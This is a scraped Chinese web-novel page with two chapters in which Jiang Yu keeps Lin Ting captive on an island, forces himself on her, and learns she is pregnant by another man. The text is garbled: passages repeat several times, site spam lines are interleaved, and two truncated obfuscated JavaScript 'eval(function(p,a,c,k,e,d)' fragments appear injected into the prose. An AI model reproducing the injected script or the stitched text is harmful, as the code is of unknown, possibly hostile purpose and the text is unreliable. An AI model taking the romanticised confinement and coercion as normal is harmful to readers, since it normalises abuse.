她插了会儿花,胸口闷得慌。 穿上了厚厚的外套,戴上了帽子,围上了围巾,一个人到了雪地里,透口气。 身后,依然有蓝眼睛的杰西,和另外几个保镖,跟在后头。 呼吸着清洌的空气,明明那样清新,却觉得胸口堵堵的。 她蹲下来一个人堆着雪人。 就当周自衡在旁边陪她一样。 一边堆,一边回忆她与周自衡的点点滴滴。 现在细细地回忆起来,才发现,周自衡很早之前就开始喜欢她了。 难怪每一次她和江遇在一起时,周自衡见到他们俩,脸色一直黑沉沉的。 让周自衡跟着他们一块玩,他每一次都会冷冰冰地拒绝,然后离开。 那个时候,林听以为周自衡不爱讲话,喜静,不喜欢和疯疯癫癫的他们一起玩。 原来那个时候,周自衡就开始满心醋意。 周自衡的整个青春,一定是酸成了一棵柠檬树。 那样一段长达二十年的苦涩暗恋,好不容易开花结果了,她却忽然消失在了他的世界里。 周自衡该有多着急啊。 堆着雪人的林听,忽然停下来,在雪地里,一笔一画,写着周自衡的名字。 每写一划,心如刀割。 那样孑然孤独的周自衡,从来没有人真正爱过他,疼爱他。 他几乎用他的生命在默默地守护着她。 她好想回到周自衡的身边也想像他守护着她一样去守护着他。 身后嘎吱嘎吱。 有人踩着雪地一步一步大步走来。 林听还没反应过来一双黑色的皮靴来到了她的面前。 鲜红色的血一滴一滴落在黑色皮靴上。 也落在洁白无瑕的雪地里。 抬头一看是扯掉输液针站在她面前的江遇。 林听下意识地擦掉地上周自衡的名字慌忙起身。 像是做了亏心事一样。 “江遇你你怎么不躺在床上好好输液?” 冰天雪地里江遇面前飘着雾蒙蒙的白气。 将他那张冷硬愤怒的面容映照得让林听更加心虚害怕。 江遇没有回应她。 一张纸条甩在她的面前落在雪地里。 林听低头看了看。 看到熟悉的笔迹心里忽然一片死寂。 她把纸条捡起来。 是她写给那个黄皮肤的会说中文的男医生的。 上面写着: 医生你可不可以帮帮我? 我和我女儿是**遇囚禁在岛上的。 如果你能帮我联系国内鹏城周氏医药的周自衡告诉他我和我女儿在这里我可以给你十亿美金作为酬金。 十亿美金相当于前些日子她拿到了唐婉华留给她的所有遗产。 当时林振宇和林建国心甘情愿把这笔钱交到她手上时 为了离开他她竟然愿意掏空她所有的家产。 那个黄皮肤的会说中文的医生确实动心了。 十亿美金谁能不心动? 只是江遇身边的杰西发现了端倪当场揭穿了空上医生。 “十亿美金唐阿姨留给你的尽数遗产。你就这么想回到周自衡的身边?” 是。 林听一分一秒也不想再呆在这个岛上了。 既然已经**遇发现了。 她也不装了。 眼见着江遇输液的那只手流着血。 鲜血从他的手背一滴一滴落在雪地里像是杜鹃啼血一般凄凉可是林听丝毫也不心疼。 她的脸色冷下来“是我一分钟一秒钟也不想和你多呆在一起。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她好想回到周自衡的身边也想像他守护着她一样去守护着他。 身后嘎吱嘎吱。 有人踩着雪地一步一步大步走来。 林听还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也落在洁白无瑕的雪地里。 抬头一看,是扯掉输液针,站在她面前的江遇。 林听下意识地擦掉地上周自衡的名字,慌忙起身。 像是做了亏心事一样。 “江遇,你,你怎么不躺在床上好好输液?” 冰天雪地里,江遇面前飘着雾蒙蒙的白气。 将他那张冷硬愤怒的面容,映照得让林听更加心虚害怕。 江遇没有回应她。 一张纸条,甩在她的面前,落在雪地里。 林听低头看了看。 看到熟悉的笔迹,心里忽然一片死寂。 她把纸条捡起来。 是她写给那个黄皮肤的,会说中文的男医生的。 上面写着: 医生,你可不可以帮帮我? 我和我女儿是**遇囚禁在岛上的。 如果你能帮我联系国内鹏城周氏医药的周自衡,告诉他我和我女儿在这里,我可以给你十亿美金作为酬金。 十亿美金,相当于前些日子,她拿到了唐婉华留给她的所有遗产。 当时林振宇和林建国心甘情愿把这笔钱交到她手上时,江遇亲自过目。 为了离开他,她竟然愿意掏空她所有的家产。 那个黄皮肤的会说中文的医生,确实动心了。 十亿美金,谁能不心动? 只是江遇身边的杰西,发现了端倪,当场揭穿了空上医生。 “十亿美金,唐阿姨留给你的尽数遗产。你就这么想回到周自衡的身边?” 是。 林听一分一秒也不想再呆在这个岛上了。 既然已经**遇发现了。 她也不装了。 眼见着江遇输液的那只手,流着血。 鲜血从他的手背,一滴一滴,落在雪地里,像是杜鹃啼血一般凄凉,可是林听丝毫也不心疼。 她的脸色冷下来,“是,我一分钟,一秒钟也不想和你多呆在一起。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 她好想回到周自衡的身边也想像他守护着她一样去守护着他。 身后嘎吱嘎吱。 有人踩着雪地一步一步大步走来。 林听还没反应过来一双黑色的皮靴来到了她的面前。 鲜红色的血一滴一滴落在黑色皮靴上。 也落在洁白无瑕的雪地里。 抬头一看是扯掉输液针站在她面前的江遇。 林听下意识地擦掉地上周自衡的名字慌忙起身。 像是做了亏心事一样。 “江遇你你怎么不躺在床上好好输液?” 冰天雪地里江遇面前飘着雾蒙蒙的白气。 将他那张冷硬愤怒的面容映照得让林听更加心虚害怕。 江遇没有回应她。 一张纸条甩在她的面前 林听低头看了看。 看到熟悉的笔迹心里忽然一片死寂。 她把纸条捡起来。 是她写给那个黄皮肤的会说中文的男医生的。 上面写着: 医生你可不可以帮帮我? 我和我女儿是**遇囚禁在岛上的。 如果你能帮我联系国内鹏城周氏医药的周自衡告诉他我和我女儿在这里我可以给你十亿美金作为酬金。 十亿美金相当于前些日子她拿到了唐婉华留给她的所有遗产。 当时林振宇和林建国心甘情愿把这笔钱交到她手上时江遇亲自过目。 为了离开他她竟然愿意掏空她所有的家产。 那个黄皮肤的会说中文的医生确实动心了。 十亿美金谁能不心动? 只是江遇身边的杰西发现了端倪当场揭穿了空上医生。 “十亿美金唐阿姨留给你的尽数遗产。你就这么想回到周自衡的身边?” 是。 林听一分一秒也不想再呆在这个岛上了。 既然已经**遇发现了。 她也不装了。 眼见着江遇输液的那只手流着血。 鲜血从他的手背一滴一滴落在雪地里像是杜鹃啼血一般凄凉可是林听丝毫也不心疼。 她的脸色冷下来“是我一分钟一秒钟也不想和你多呆在一起。” 你的朋友正在书荒,快去帮帮他吧 第173章 惊!林听怀孕了!! 拿到林听偷偷塞给医生的这张纸条时,江遇躺在病床上输着液。 当时他愤怒如一头野兽,不顾自己手上插着针管,用力一拔,衣服也没穿便下楼找到了在雪地里,一笔一画写着周自衡的名字。 周自衡的名字,已经被林听抹掉了。 可是江遇心听伤痛无法被抹掉,他手背淌着血,他全然不觉。 即使就快要病倒,依然挺拔伟岸地站在那里。 滚烫的手,用力抓住林听的手腕,满脸狰狞。 风雪中,滚烫的吻落下来。 明明眼前的女人,从始自终都是他的女人,什么时候对周自衡如此死心塌地了? 似乎只有吻她,他才能感受到她的存在。 男人的力气,天生强大。 哪怕是在病人,那只环住她纤细腰身和掌着她后脑勺,将她紧紧禁锢在面前的双手,依然强劲有力。 林听怎么推也推不开。 直到唇齿里有又腥又咸的血腥味漫延,江遇仍旧没有松手。 林听又用力咬了一口。 拼命推开他。 风雪中,看着眼前被推开的,唇瓣被她咬出牙齿印,流着血的江遇,她怒吼了一声。 “江遇,你简直就是个疯子。” “你这样让我太陌生了。以前你从来不会这么强迫我,从来不会如此偏执。” “你为什么不明白,我们再也回不去了?” 她看不见他在流血。 更看不见从他手背上淌出来的,一滴一滴,落在雪地里的鲜血。 她自动忽视了他的病情,只看到他眼里的陌生与疯魔,“江遇,我真的快不认识你了。” 不认识? 曾经他们是这世上最熟悉最亲密的恋人。 江遇不顾林听的抗拒,也不顾自己流着血,把她从雪地里走回屋子里,将她扔在软软的大床上。 伟岸高大的身躯,压着身下娇软的人儿。 大掌将林听纤细的手掌紧紧扣住,按在床上。 “江遇,你无耻,你放开我。” “你不是说不认识我吗?我让你重新认识认识,我们曾经是有多亲密无间。” 大掌落在她的腰间,拉着她的裤子就要往下一垮。 啪! 林听用力地扇了江遇一巴掌。 清脆的巴掌声,彻响整个卧室,惊得窗外的枝上的积雪松松软软地坠向地面。 屋内,只是短暂地停顿了下来。 下一瞬,暴风雨来得更加猛烈。 林听死死地夹着双腿,不让江遇脱掉她的裤子。 挣扎中,小腹一阵剧痛。 直到江遇摸到一片湿润,伸手一看,林听流血了。 鲜血染满了她的裤子,也浸湿了深色的床单。 “听听,你怎么了,别吓我。” 林听额头冒着冷汗。 腹部一阵绞痛,彻底疼晕了过去。 等她醒来的时候,她还躺在江遇的床上。 耳边是陈叔吴婶,与江遇的对话。 “江先生,小听没事吧?” “江先生,你说话啊,小听到底怎么了?” 陈叔和吴婶的声音,充满了焦急。 而江遇的声音,却是沉沉的,“她怀孕了。” 床上的林听,彻底醒过来。 她缓缓爬起来,看着坐在床边,满脸复杂的江遇,“你是说我怀孕了?” 江遇没有回应她。 他用阴郁而又痛苦还有心疼的目光,看着她。 她笑了,笑容中有激动欣喜又复杂的泪水,“我真的怀孕了,怀了周自衡的孩子?” 她没有想到,她和周自衡只有过一夜的夫妻关系,竟然能这么惊喜地怀上周自衡的孩子。 “我真的怀孕了吗?” 欣喜的泪水落下来。 周自衡一身孑然孤独,从来没有体会过被人爱的感觉。 如果她真的怀孕了,那是周自衡的骨肉,她终于可以给周自衡生一个孩子。 终于可以让周自衡体会到真正温暖的血缘亲情。 柚子也盼望着这个弟弟妹妹的到来。 太好了! 可是下一瞬,她又害怕紧张地望向满脸阴沉的江遇。 江遇久久不说话,他打量着欣慰落泪的林听。 他从来没有见过她这般高兴,连那个时候他们一起憧憬着未来生宝宝的事情,她也没有如此激动。 可是怀了周自衡的孩子,她高兴成这个样子。 这无疑是插在江遇胸口的一把刀。 他阴沉复杂的目光,来到了她的小腹。 那是周自衡的孩子。 这个目光,仿佛要穿过她的小腹似的,让林听全身紧紧一崩。 她下意识地护住自己的肚子,眼神里有了一股决绝和狠戾: “江遇,如果你敢动这个孩子,我就死在你面前。” 江遇胸口钝痛,“你就这么想替周自衡生孩子?” 林听不答,又重复了一遍,“如果你容不下这个孩子的存在,我真的会死在你面前。” 那样决绝的话,带着她最残酷最冰冷的态度,似乎瞬间将江遇拽入了地狱。 他的手,伸向林听紧紧护住的小腹。 下一瞬,门口听闻这一切的,刚刚从幼儿园回来的小柚子,拔起小腿冲到床面前,用力地咬住了江遇的胳膊。 柚子不允许这个男人,碰到妈妈的肚子。 看到小小的柚子,江遇被咬痛了,却纹丝不动。 林听在他右臂,留下了深深的两排牙齿印。 二十多天过去了,疤痕清晰可见。 现在柚子又在他的左臂,留下两排深深的小牙印。 他一点也不觉得疼。 他任由柚子死死咬着不松手。 直到愤怒紧张的柚子,抬起头来,他才温柔地揉了揉柚子的脑袋,“放心,爸爸不会伤害妈妈,也不会伤害到妈妈肚子里的宝宝的。” 医生说她怀孕了,有流产征兆。 当时,他是动了念头,想要拿掉这个孩子的。 可是,他舍不得让林听经历流产之痛。 如果他把这个孩子拿掉,不告诉她,她不会知道她怀了周自衡的孩子。 他没有那样做。 那是林听的骨肉,他也怕林听知道后,会更加心痛。 他怎么可能舍得,如此伤害她。 面前的柚子,面色终于缓和了下来,“你真的不会伤害妈妈肚子里的小宝宝?” 那是她盼了好久的弟弟妹妹。 柚子好希望妈妈把这个宝宝生下来。 柚子也知道,这个宝宝是爸爸的宝宝,不是眼前这个男人的。 她担忧地看着江遇。 “ 柚子也很喜欢这个宝宝对吗?”江遇轻抚她的脑袋“我们让妈妈把这个宝宝生下来一起好好照顾它好不好?” 这是女儿第一次没有躲开。 他的手掌更加温柔更加小心翼翼轻抚过女儿的小脑袋时眼里有热泪流下来。 这是他第一次如此近距离和女儿接触。 女儿终于不躲着他了。 “柚子爸爸一定会当个好父亲把你和小宝宝抚养长大的。” 柚子没有说话。 她害怕这个男人说的是假话。 万一他要伤害妈妈肚子里的宝宝怎么办。 她一头扎到妈妈的怀抱里“妈妈!” 林听一手搂着柚子望向江遇“你真的不会伤害我肚子里的孩子?” 江遇痛苦的目光慢慢扫向林听尚且平坦的小腹。 那里住着一条小生命。 他做梦都盼着林听能再为他生个孩子。 可是周自衡的孩子先来到了她的肚子里。 他被戴了一个绿帽子。 这**只能硬生生往肚子里咽下去。 他深吸一口让人窒闷的气息沉沉叹了一口气道“放心你喜欢这个孩子我会视如己出。就像疼爱柚子一样疼爱他。” 林听知道江遇说一不二。 可她还是不放心用谨慎又凶巴巴的眼神瞪着他“如果你敢打这个孩子的主意悄悄让我流掉这个孩子我真的会死在你面前让你什么也得不到。” “妈妈你不要死。”柚子抱紧妈妈的手臂眼泪落下来 柚子已经失去过妈妈一次了。 她不想再失去妈妈。 可怜巴巴地眼泪大颗大颗地落下来。 林听心都要碎了。 她抱紧柚子“柚子别害怕妈妈一定会保护好你保护好肚子里的小宝宝。以后你就要当姐姐了。” 柚子擦了泪道“爸爸要是知道你怀了宝宝一定会很高兴的。” 江遇紧紧咬着后牙槽。 他本想冷声警告他不会让周自衡知道这个消息。 可是想到林听刚刚痛晕了过去这才醒过来又想着柚子小小的心灵容易 碎裂,他一句话也没有说。 在两母女聊着天的时候,他默默地离开了这间让他窒息的房间。 吴婶留下来照看林听。 陈叔则跟着他走出去,“江先生,你还没输完液。” 杰西也走上前,“江先生,我让医生重新给你输液吧。” 下一瞬,病了一周高烧不退的江遇,像是一截被砍断地树枝一样,重重地倒在了深色的地毯上。 林听也是学医的。 她有流产征兆。 裤子上染了血,没有经期那般夸张,但是断断续续依然会出血。 她知道,这个时候必须绝对卧床休息。 可她此刻躺在江遇的床上。 江遇的房间,就在她的隔壁。 她打算起身,慢慢挪到隔壁去。 刚刚起来,感觉身下面有东西流出来,吓得她以为孩子就要保不住了,赶紧又躺了回去。 没一会儿,江遇身边的小陈带着一名女医生进了卧室,“太太,这是江先生为你安排的保胎的医生。江先生刚刚出去的时候晕倒了,醒过来第一句话,就是让我安排人,好好替你保胎。他心里时时刻刻想着你,他从来不想伤害你的。” 林听没有应声。 来的女医生给她输保胎药。 她怕这保胎药不安全,特意闻了闻,是保胎的硫酸镁和**注射液,这才松了一口气。 小陈知道她是学医的,见她如此谨慎,小陈劝了一句,“太太,先生说了会留下这个孩子,视如己出,不会食言的。你注相信他吧。” 林听这才应声,“他要是醒了,替我谢谢他。” 至少,他没有动让她流产的念头。 可是,这不是真心感谢,只是客套话罢了。 小陈点了点头,走出去后,把同样在江遇身边做事的父母,一个陈叔,一个吴婶,叫到身边。 “爸,妈,你们别帮着太太想办法离开这里了。” “江先生对太太也是一片痴情,他们俩破镜重圆也是好事。” “况且,江先生也是个可怜人。” 他都病成那样了,却时时刻刻关心着林听。 这样的男人,是值得原谅的。 吴婶是个清醒的,她往儿子的脑 袋上用力一敲,“他是可怜人,小听就不是可怜人了吗? 小陈摸了摸被打痛的脑袋,脸色严肃起来,“反正你们别再帮倒忙了,要不然江先生真的会发怒的。还有,妈,你别忘了是谁给你发工资。 吴婶:“我宁愿丢了这份工作,也不愿做违心的事。 小陈:“反正江先生让我盯着你们俩,不只我盯着你们,还有那个蓝眼睛的杰西,你们最好别惹江先生。 晕倒的江遇,输完了一瓶点滴。 他醒过来的时候,护士给他换上了新的一瓶药,用岛上罕见的小语种,对他说: “江先生,你需要好好休息。 可是,江遇没有听话,他爬起来第一件事情,是高高举着刚刚换好的输液瓶,走到林听的卧室外看了看情况。 见她好好地躺在床上保胎,他这才放心。 晚上。 输完液的江遇,退烧了,可是还是虚弱的他,第一时间端着晚餐,来到林听的房间里。 林听睡着了。 她迷迷糊糊做着梦。 梦里,她喊着周自衡的名字,眉心紧锁着。 好像是一个噩梦。 “周自衡,小心! 梦里,周自衡被周家的人追杀。 一把枪抵在周自衡的身后,吓得林听冒了一身冷汗。 从梦中惊醒,见到已经坐到他床边的江遇,她惊魂未定。 江遇的心里苦成了黄连。 他病了一周了,这个女人丝毫不关心他,连梦做都在关心着另一个男人。 可是他只能隐忍,又耐着性子将床头柜的鱼片粥端起来,勺了一勺粥,喂到她面前,“医生说你肚子里的胚胎刚刚成形,已经下垂了,必须绝对卧床休息。你好好躺着,我喂你吃饭。 林听想爬起来,“我自己来。 宽厚温暖的大掌,轻轻摁着的她肩,劝道,“你应该知道,什么叫绝对卧床休息? 学医的林听自然知道,只好又躺回去。 勺子里的粥,冒着香喷喷的热气,来到了林听的唇边,“乖,喝点粥。 林听紧抿着双唇,别开脑袋,“你放在那里,我自己吃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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袋上用力一敲,“他是可怜人,小听就不是可怜人了吗? 小陈摸了摸被打痛的脑袋,脸色严肃起来,“反正你们别再帮倒忙了,要不然江先生真的会发怒的。还有,妈,你别忘了是谁给你发工资。 吴婶:“我宁愿丢了这份工作,也不愿做违心的事。 小陈:“反正江先生让我盯着你们俩,不只我盯着你们,还有那个蓝眼睛的杰西,你们最好别惹江先生。 晕倒的江遇,输完了一瓶点滴。 他醒过来的时候,护士给他换上了新的一瓶药,用岛上罕见的小语种,对他说: “江先生,你需要好好休息。 可是,江遇没有听话,他爬起来第一件事情,是高高举着刚刚换好的输液瓶,走到林听的卧室外看了看情况。 见她好好地躺在床上保胎,他这才放心。 晚上。 输完液的江遇,退烧了,可是还是虚弱的他,第一时间端着晚餐,来到林听的房间里。 林听睡着了。 她迷迷糊糊做着梦。 梦里,她喊着周自衡的名字,眉心紧锁着。 好像是一个噩梦。 “周自衡,小心! 梦里,周自衡被周家的人追杀。 一把枪抵在周自衡的身后,吓得林听冒了一身冷汗。 从梦中惊醒,见到已经坐到他床边的江遇,她惊魂未定。 江遇的心里苦成了黄连。 他病了一周了,这个女人丝毫不关心他,连梦做都在关心着另一个男人。 可是他只能隐忍,又耐着性子将床头柜的鱼片粥端起来,勺了一勺粥,喂到她面前,“医生说你肚子里的胚胎刚刚成形,已经下垂了,必须绝对卧床休息。你好好躺着,我喂你吃饭。 林听想爬起来,“我自己来。 宽厚温暖的大掌,轻轻摁着的她肩,劝道,“你应该知道,什么叫绝对卧床休息? 学医的林听自然知道,只好又躺回去。 勺子里的粥,冒着香喷喷的热气,来到了林听的唇边,“乖,喝点粥。 林听紧抿着双唇,别开脑袋,“你放在那里,我自己吃。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 袋上用力一敲,“他是可怜人,小听就不是可怜人了吗? 小陈摸了摸被打痛的脑袋,脸色严肃起来,“反正你们别再帮倒忙了,要不然江先生真的会发怒的。还有,妈,你别忘了是谁给你发工资。 吴婶:“我宁愿丢了这份工作,也不愿做违心的事。 小陈:“反正江先生让我盯着你们俩,不只我盯着你们,还有那个蓝眼睛的杰西,你们最好别惹江先生。 晕倒的江遇,输完了一瓶点滴。 他醒过来的时候,护士给他换上了新的一瓶药,用岛上罕见的小语种,对他说: “江先生,你需要好好休息。 可是,江遇没有听话,他爬起来第一件事情,是高高举着刚刚换好的输液瓶,走到林听的卧室外看了看情况。 见她好好地躺在床上保胎,他这才放心。 晚上。 输完液的江遇,退烧了,可是还是虚弱的他,第一时间端着晚餐,来到林听的房间里。 林听睡着了。 她迷迷糊糊做着梦。 梦里,她喊着周自衡的名字,眉心紧锁着。 好像是一个噩梦。 “周自衡,小心! 梦里,周自衡被周家的人追杀。 一把枪抵在周自衡的身后,吓得林听冒了一身冷汗。 从梦中惊醒,见到已经坐到他床边的江遇,她惊魂未定。 江遇的心里苦成了黄连。 他病了一周了,这个女人丝毫不关心他,连梦做都在关心着另一个男人。 可是他只能隐忍,又耐着性子将床头柜的鱼片粥端起来,勺了一勺粥,喂到她面前,“医生说你肚子里的胚胎刚刚成形,已经下垂了,必须绝对卧床休息。你好好躺着,我喂你吃饭。 林听想爬起来,“我自己来。 宽厚温暖的大掌,轻轻摁着的她肩,劝道,“你应该知道,什么叫绝对卧床休息? 学医的林听自然知道,只好又躺回去。 勺子里的粥,冒着香喷喷的热气,来到了林听的唇边,“乖,喝点粥。 林听紧抿着双唇,别开脑袋,“你放在那里,我自己吃。 你的朋友正在书荒,快去帮帮他吧 第174章 保胎 江遇喂的粥林听不愿意喝。 她也根本没有发现此时此刻对她无微不至的江遇还在重病之中。 就在两个小时前他倒在了这间卧室的房门外。 喂林听喝粥之前还强撑着输着的身体来到病房外看看她的情况。 得知医生已经给她输了保胎药这才回去休息了一个多小时。 刚刚输完液又来到了她的房间。 这些林听都不在乎。 她背对着江遇没有再说话。 江遇保持着手舀着一勺粥的动作看着她这个冰冷的背影。 娇小瘦弱的身影惹得他一阵心疼。 她的抵触态度更让他心疼。 他问“是不是周自衡喂你喝的粥你就愿意张嘴?” 林听依然背对着他“你既然你知道还明知故问做什么?” 江遇深吸一口气。 紧攥着手中的勺子克制着自己的情绪“如果你想保住这个胎儿就要绝对卧床休息。我让吴婶过来喂你。你不想看到我我走就是了。” 说着他放下手中的鱼片粥撑着虚弱的身子起了身。 听到他的脚步声走到房外林听依然背对着他看也没看他一眼。 直到身边传来吴婶的声音“小听你慢慢转过来我喂你喝粥点吧。” 林听这才转过身来。 转身后的第一件事情是看江遇走远了没有。 没有看到他的身影顿觉空气新鲜了许多。 吴婶拿来了枕头 “小听我听江先生说再过两天你就能坐起来了。” “这两天你好好躺着好好保胎。” “万幸的是江先生愿意留着这个孩子。你就安心养胎吧。” 林听的手掌轻轻来到尚且平坦的小腹之处那里住着她和周自衡的爱情结晶。 如果周自衡知道她怀孕了肯定会很高兴吧。 想到此她的嘴角这才浮出一丝欣慰的笑意。 只是她根本没有机会把这样欣喜的事情在第一时间内告诉周自衡。 她抚着依然有些隐隐作痛的肚子默默对着肚子里 的小宝宝说道:宝宝,我们一定能回去见到爸爸的。 眼下怀孕了,还险些流产。 这段日子,她也不能再折腾,光是想着怎么离开这座囚牢似的岛屿了。 现在最重要的事情,是如何好好保胎。 让这个孩子平安健康地来到这个世界。 离开岛屿的事情,只能从长计议了。 门外,江遇透过门缝,看了看里面的情况。 见到林听乖乖喝着吴婶喂给她的鱼片粥,他紧崩的额角这才松懈下来。 陈叔在旁边劝道,“江先生,你也需要休息,你赶紧回房吧。” 下一瞬,江遇挺拔伟岸的身影摇摇坠坠,差点又晕过去。 还是杰西上前扶住了他,才不至于又如同两个小时前一头栽倒。 “Mr江,你没事吧?”杰西问。 江遇胸口发紧,呼吸急促起来,脑子沉重得如同装了石头。 这是又烧起来了。 这一个星期,反复发烧,又没有好好休息。 他摆了摆手,“我没事。” 回去躺下后,他吃了退烧药。 脑袋又沉又晕的时候,他吩咐着身边的人,“陈叔,新鲜的新西兰蜗牛到了,柚子喜欢吃芝士焗蜗牛,你盯着厨房,这道菜来要加白兰地,要加葡萄酒。柚子不喜欢用白兰地焗出来的蜗牛,时间不能太久,12分钟,刚刚好。时间一到就打开烤箱,一秒钟也不在耽搁,否则焗出来的蜗牛太老了,柚子不喜欢。” 上一次,他亲自给柚子做这道菜,就因为蜗牛在烤箱里多呆了十秒钟。 柚子嫌弃蜗牛肉才柴了,咬了一口,小眉头皱起来,一口也不吃了。 他又说,“还有,餐前甜品,给柚子做一道蜜柚蛋糕。蜜柚要用国内新鲜运过来的沙田柚,才能保证口感。对了,记得任何一道菜,都不能加花生以及花生制品的作料,这个一定要重中吩咐厨房。还有,听听她……” “江先生,你先好好休息吧。”陈叔打断他。 也许,正如儿子小陈所说,江先生也是个可怜之人。 他太爱林听了。 当时他和林薇薇在一起的时候,陈叔就知道,他的心思根本不在林薇薇身上。 他从来一不留林薇 薇在静轩别墅过夜。 陈叔也不知道,他就这样把小听和柚子囚禁在这座岛上,到底是对还是错了。 “听听她需要静养着保胎,陈叔,麻烦你和吴婶替我好好照顾她。江遇继续说完这句话,沉重的眼皮缓缓和上,这才在重度高烧中,闭眼休息。 两天后,江遇的身体逐渐好转。 林听依然卧床养胎。 这一天是周末,柚子没有去岛上的幼儿园。 柚子守在林听身边,“妈妈,你肚子里的小宝宝,会踢你了吗? 林听笑了笑,伸手捏捏女儿的小鼻头,“哪有那么快,它现在还只是一颗小种子,才刚刚种在妈妈的肚子里。 柚子前天刚刚上了一节生理课。 老师说,每一个宝宝,都是爸爸种在妈妈肚子里的种子。 在妈妈的滋养下,茁壮成长,最后长成一个小娃娃,呱呱坠地。 柚子抚摸着妈妈平坦的小肚子,“妈妈,这颗小种子,是爸爸放进去的吗? “嗯,是爸爸。林听的笑容,甜蜜而幸福。 她想到周自衡从小到大对自己默默的守护,心里更甜。 那样甜蜜幸福的笑容,落进门缝外江遇的眼里,却成了一把尖锐的刀,一刀一刀割着他的胸口。 她和柚子所谓的爸爸,向来都是指周自衡,不是他。 屋子里,柚子又问,“妈妈,我在你肚子里的时候,也是一颗小种子,对吗? “当然啊,每个小朋友在妈妈肚子里的时候,都是一颗小小的种子。林听耐心地为女儿讲解。 却见柚子脸上的笑容忽然僵住。 小小的脑袋耷拉着,一点也不开心。 “怎么啦,柚子? 林听以为,是她肚子里有了新的宝宝,柚子有些难过。 下一秒,柚子说,“妈妈,我这颗小种子,是那个人放进妈妈的肚子里的,对不对? 她讨厌那个人。 聊到这个话题,柚子满眼都是抵触,“要是那个人,不是我的爸爸,那该多好呀。我想让周爸爸当我的亲生爸爸。 血缘关系,是割舍不断的。 柚子好讨厌她的亲生爸爸。 她所说的每一句话,每一个字, 门外的江遇听得清清楚楚. 他真的让柚子这般讨厌吗? 明明知道自己是个不速之客,江遇还是轻轻叩了叩门,在母女二人同时望来时,推开门走进去。 见到床上的林听,气血比昨天好许多,他也欣慰了一些,“今天感觉怎么样,肚子还痛吗,还有没有出血的情况?” 林听没有看他,看着别处,道,“好很多了,谢谢。” 这语气倒不是前两日的冰冷,客气中却全是疏离,将两人之间的距离完全划分开来。 像是特意要划出一道楚河汉界。 江遇拿她无可奈何。 他坐到床边,又特意关心地问了一句,“还有出血吗?” “没有。”这是让林听最欣慰的地方,养胎两日,出血的情况止住了,肚子也不疼了。 一天天好起来。 江遇欣慰一笑,又将带来的一包卫生巾,放进床头柜里,“看来它也用不上了,不过正好,希望未来这九个月,一次也不要用上。” 那是林听最喜欢用的一款医药厂出品的卫生巾。 正好是**医药去年研发出来了。 江遇坐在床边,说道,“听听,去年我在一次新闻发布会上,提到过我研发出来的这款能够缓解女孩子痛经的卫生巾,不知道你有没有看过新闻?” 林听斩钉截铁,“没有。” 其实,那段关于他的新闻发布会,她看到了。 他说,他是为了心爱的女人,才研发出这款能够缓解痛经的医字号卫生巾。 看着林听,他像是在表白,“听听,我从来没有爱上过林听。因为你一直痛经,所以我才研发出这款能够缓解痛经的卫生巾的。” 只是这段表白,迟了这么多年,才有机会说给她听。 林听不想听这些,她冷冰冰道,“收起你这些所谓的情深似海,不要以为我会感动。我只会觉得你可笑。” 江遇知道,这些完全不足以让她感动和回心转意。 他的心很疼,“听听,如果我愿意为你**,你是不是才肯正眼看我一眼?” “江遇,这话多么熟悉啊。”林听可笑地看着他,“当初我求你的时候,我也是问你,是不是只有我**,你才肯相信我。” 想 起那个时候她的卑微与无助她没办法给江遇一个好态度“你是不是忘了你的原话是什么?” “对不起听听我……” “我要休息了你出去。” 她根本不想听他多说任何一个字。 旁边的柚子用力拽着他结实的手臂“你出去妈妈不喜欢看到你。” 江遇没有办法只好起身在小柚子的驱赶下离开这里。 …… 转眼。 已经是十二月了。 林听和柚子来到这座小岛快两个月了。 她们依然没有办法和外界联系。 万幸的是林听肚子里的胎儿已经完全保住了。 孕期两个月她开始有了孕吐反应。 这几天吃什么吐什么几乎要把黄疸给吐出来。 江遇亲自下厨变着花样给她做各种好吃的。 酸的甜的辣椒什么味都试了个遍可她依然还是吃不下东西。 见到她比来的时候还要瘦江遇心疼坏了。 好在她还愿意喝苹果汁。 这天早上江遇端了一杯亲自榨的苹果汁来到林听面前。 她蜷缩在窗前的沙发上望着窗外的雪景“江遇 看她瘦成这样或许街上的吃的玩的能让她感兴趣。 于是江遇欣然应声“好一会儿接了柚子放学我带你和柚子一起去街上转转。” 知道她孕吐不舒服闻着很多味都会犯恶心江遇特地准备了一番。 他把车内的所有香水都换成了柠檬香味。 因为林听闻着柠檬香味才不会犯恶心。 还在车厢里放了一束他刚刚采得她最喜欢的洋桔梗。 布置好这一切江遇这才让林听上车。 这辆车子是他们来到这座岛上随同那艘巨大的游轮一起从国内运过来的。 他特地找比亚迪工厂重金定制的。 比起之前送给周自衡的那辆红旗国耀更加防撞防爆防弹防火防水。 并且这辆轿车落入水里 还能快速转化成轮船功能,在水里航行三百多公里。 来到国外,虽然请了很多保镖,但是依然要注意这些安全防护。 所以江遇把这辆轿车一同运到了岛上。 同样功能的轿车,他一共定制了三辆,两辆在国内,分别送给了江书臣和周自衡。 上车的时候,林听闻到了清晰的柠檬香味。 胃里的恶心感,顿时减轻了不少。 车厢里那束洋桔梗,林听却不是那么喜欢。 她知道,这是江遇特地为她准备的。 拿起那束花,她抛到了前排副驾驶座,看了一眼坐在身边的江遇,“以后不用这么花心思特地准备这些,我不会喜欢的。 江遇没说话。 她不喜欢是她的事情。 可是他一如既往地记住她所有的喜好,是他的事。 不会因为她不喜欢,他就放弃。 还有驾驶室,放在车前方的,那一对陶瓷娃娃。 这个男人,还真是把它们从镇上的垃圾中转站给找回来了。 并且又把它们修复回去了。 林听也摔累了,不想再摔了。 他要留着,就留着吧,反正她不会再稀罕。 